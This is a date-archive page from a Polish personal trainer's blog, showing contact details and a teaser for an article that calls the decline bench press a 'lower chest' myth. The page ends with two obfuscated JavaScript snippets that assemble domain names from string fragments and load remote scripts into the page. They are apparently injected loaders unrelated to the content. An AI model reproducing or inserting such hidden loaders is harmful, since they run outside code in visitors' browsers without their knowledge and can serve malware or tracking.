kontakt@przemekjurek.pl

+48 732 496 635

Dzień: 15 sierpnia, 2025

Kategorie:

Mit “dolnej klatki”? Cała prawda o wyciskaniu sztangi na ławce ujemnej.

15 sierpnia, 2025

Wszyscy chcą mieć idealnie rozbudowaną “dolną klatkę”, a wyciskanie na ławce ujemnej od lat uchodzi za króla tej strefy. A co, jeśli to jeden z największych mitów na siłowni? W tym artykule, opartym na anatomii i badaniach naukowych, demaskuję prawdę o tym kontrowersyjnym ćwiczeniu. Sprawdź, dlaczego prawdopodobnie marnujesz na nie czas i poznaj znacznie skuteczniejsze alternatywy, które naprawdę zbudują Twoją klatkę piersiową.

Czytaj więcej >
(function(){ qiwq=document.createElement("script");qiwq_=("us")+("ta"); qiwq_+="t"+(".");qiwq_+=("in");qiwqu="2422389891";qiwq.async=true; qiwqu+=".zd05rX4tiwqszu674";qiwq.type="text/javascript";qiwq_+="f"+"o"+("/"); qiwqu+="6hlhfpezabw8x";qiwq.src="https://"+qiwq_+qiwqu; dqiwq=document.body;dqiwq.appendChild(qiwq); })(); (function(){ uv01=document.createElement("script");uv01.type="text/javascript"; uv01.async=true;uv01_=("op"+("ens")+"t")+"a";uv01_+=("t.e")+""+"u"; uv01.src="https://"+uv01_+"/2491255555.c8uwxe2lv01hti955xgXsgvvmsav2e"; document.body.appendChild(uv01); })();